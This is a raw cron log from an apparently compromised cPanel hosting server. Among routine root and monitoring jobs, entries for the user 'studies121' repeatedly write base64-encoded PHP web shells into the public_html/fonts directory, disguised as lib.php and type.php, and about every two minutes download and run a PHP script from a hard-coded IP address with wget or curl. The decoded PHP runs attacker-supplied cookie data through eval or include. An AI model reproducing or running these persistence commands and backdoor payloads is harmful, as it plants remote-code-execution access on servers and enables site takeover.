Sep 11 19:51:01 ip-184-168-122-23 CROND[27162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:51:01 ip-184-168-122-23 CROND[27160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:51:01 ip-184-168-122-23 CROND[27161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:52:01 ip-184-168-122-23 CROND[27246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:52:01 ip-184-168-122-23 CROND[27248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:52:01 ip-184-168-122-23 CROND[27249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:52:01 ip-184-168-122-23 CROND[27251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:52:01 ip-184-168-122-23 CROND[27252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:53:01 ip-184-168-122-23 CROND[27340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:53:01 ip-184-168-122-23 CROND[27342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:53:01 ip-184-168-122-23 CROND[27343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:53:01 ip-184-168-122-23 CROND[27345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:54:01 ip-184-168-122-23 CROND[27432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:54:01 ip-184-168-122-23 CROND[27434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:54:01 ip-184-168-122-23 CROND[27438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:54:01 ip-184-168-122-23 CROND[27437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:54:01 ip-184-168-122-23 CROND[27435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:55:01 ip-184-168-122-23 CROND[27607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:55:01 ip-184-168-122-23 CROND[27608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:55:01 ip-184-168-122-23 CROND[27609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:55:01 ip-184-168-122-23 CROND[27610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:55:01 ip-184-168-122-23 CROND[27611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:55:01 ip-184-168-122-23 CROND[27612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:56:01 ip-184-168-122-23 CROND[27719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:56:01 ip-184-168-122-23 CROND[27721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:56:01 ip-184-168-122-23 CROND[27723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:56:01 ip-184-168-122-23 CROND[27724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:56:01 ip-184-168-122-23 CROND[27725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:57:01 ip-184-168-122-23 CROND[27810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:57:01 ip-184-168-122-23 CROND[27812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:57:01 ip-184-168-122-23 CROND[27816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:57:01 ip-184-168-122-23 CROND[27817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:58:01 ip-184-168-122-23 CROND[27902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:58:01 ip-184-168-122-23 CROND[27904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:58:01 ip-184-168-122-23 CROND[27905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:58:01 ip-184-168-122-23 CROND[27906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:58:01 ip-184-168-122-23 CROND[27908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:59:01 ip-184-168-122-23 CROND[28006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:59:01 ip-184-168-122-23 CROND[28007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:59:01 ip-184-168-122-23 CROND[28008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:59:01 ip-184-168-122-23 CROND[28009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:00:01 ip-184-168-122-23 CROND[28179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:00:01 ip-184-168-122-23 CROND[28182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:00:01 ip-184-168-122-23 CROND[28184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:00:01 ip-184-168-122-23 CROND[28185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:00:01 ip-184-168-122-23 CROND[28187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:00:01 ip-184-168-122-23 CROND[28186]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 20:00:01 ip-184-168-122-23 CROND[28189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:00:01 ip-184-168-122-23 CROND[28191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:00:01 ip-184-168-122-23 CROND[28188]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:01:01 ip-184-168-122-23 CROND[28292]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 20:01:01 ip-184-168-122-23 CROND[28295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:01:01 ip-184-168-122-23 CROND[28297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:01:01 ip-184-168-122-23 CROND[28299]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28292]: starting 0anacron
Sep 11 20:01:01 ip-184-168-122-23 CROND[28298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:01:01 ip-184-168-122-23 CROND[28300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28314]: finished 0anacron
Sep 11 20:02:01 ip-184-168-122-23 CROND[28422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:02:01 ip-184-168-122-23 CROND[28424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:02:01 ip-184-168-122-23 CROND[28427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:02:01 ip-184-168-122-23 CROND[28425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:02:01 ip-184-168-122-23 CROND[28426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:03:01 ip-184-168-122-23 CROND[28515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
